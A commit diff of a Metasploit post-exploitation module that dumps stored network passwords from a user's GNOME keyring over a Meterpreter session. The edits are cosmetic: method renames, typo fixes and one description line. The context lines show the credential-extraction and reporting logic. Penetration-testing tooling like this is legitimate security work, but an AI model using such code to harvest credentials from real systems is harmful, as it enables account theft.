@@ -13,6 +13,7 @@ def initialize(info={})
13
13
'Name' => 'Gnome-Keyring Dump' ,
14
14
'Description' => %q{
15
15
Use libgnome-keyring to extract network passwords for the current user.
16
+ This module does not require root privileges to run.
16
17
} ,
17
18
'Author' => 'Spencer McIntyre' ,
18
19
'License' => MSF_LICENSE ,
@@ -36,7 +37,7 @@ class GList_x86 < BinData::Record
36
37
end
37
38
38
39
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
39
- def struct_GList
40
+ def struct_glist
40
41
session . native_arch == ARCH_X64 ? GList_x64 : GList_x86
41
42
end
42
43
@@ -69,7 +70,7 @@ class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
69
70
end
70
71
71
72
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
72
- def struct_GnomeKeyringNetworkPasswordData
73
+ def struct_gnomekeyringnetworkpassworddata
73
74
session . native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
74
75
end
75
76
@@ -133,8 +134,8 @@ def get_struct(address, record)
133
134
end
134
135
135
136
def get_list_entry ( address )
136
- glist_struct = get_struct ( address , struct_GList )
137
- glist_struct [ :data ] = get_struct ( glist_struct [ :data_ptr ] , struct_GnomeKeyringNetworkPasswordData )
137
+ glist_struct = get_struct ( address , struct_glist )
138
+ glist_struct [ :data ] = get_struct ( glist_struct [ :data_ptr ] , struct_gnomekeyringnetworkpassworddata )
138
139
glist_struct
139
140
end
140
141
@@ -167,7 +168,7 @@ def report_cred(opts)
167
168
def resolve_host ( name )
168
169
address = @hostname_cache [ name ]
169
170
return address unless address . nil?
170
- vprint_status ( "Resolving hostname #{ name } " )
171
+ vprint_status ( "Resolving hostname: #{ name } " )
171
172
begin
172
173
address = session . net . resolve . resolve_host ( name ) [ :ip ]
173
174
rescue Rex ::Post ::Meterpreter ::RequestError
@@ -214,7 +215,7 @@ def run
214
215
begin
215
216
entry = get_list_entry ( entry [ :next_ptr ] )
216
217
pw_data = entry [ :data ]
217
- # resolve necessary string files to non-empty strings or nil
218
+ # resolve necessary string fields to non-empty strings or nil
218
219
[ :server , :user , :domain , :password , :protocol ] . each do |field |
219
220
value = pw_data [ field ]
220
221
pw_data [ field ] = nil
@@ -238,7 +239,7 @@ def run
238
239
print_good ( printable )
239
240
240
241
pw_data [ :port ] = resolve_port ( pw_data [ :protocol ] ) if pw_data [ :port ] == 0 and !pw_data [ :protocol ] . nil?
241
- next if pw_data [ :port ] == 0 # can't report with a valid port
242
+ next if pw_data [ :port ] == 0 # can't report without a valid port
242
243
ip_address = resolve_host ( pw_data [ :server ] )
243
244
next if ip_address . nil? # can't report without an ip address
244
245
@@ -252,6 +253,7 @@ def run
252
253
)
253
254
254
255
end while entry [ :next_ptr ] != list_anchor and entry [ :next_ptr ] != 0
256
+
255
257
libgnome_keyring . gnome_keyring_network_password_list_free ( list_anchor )
256
258
end
257
259
end
0 commit comments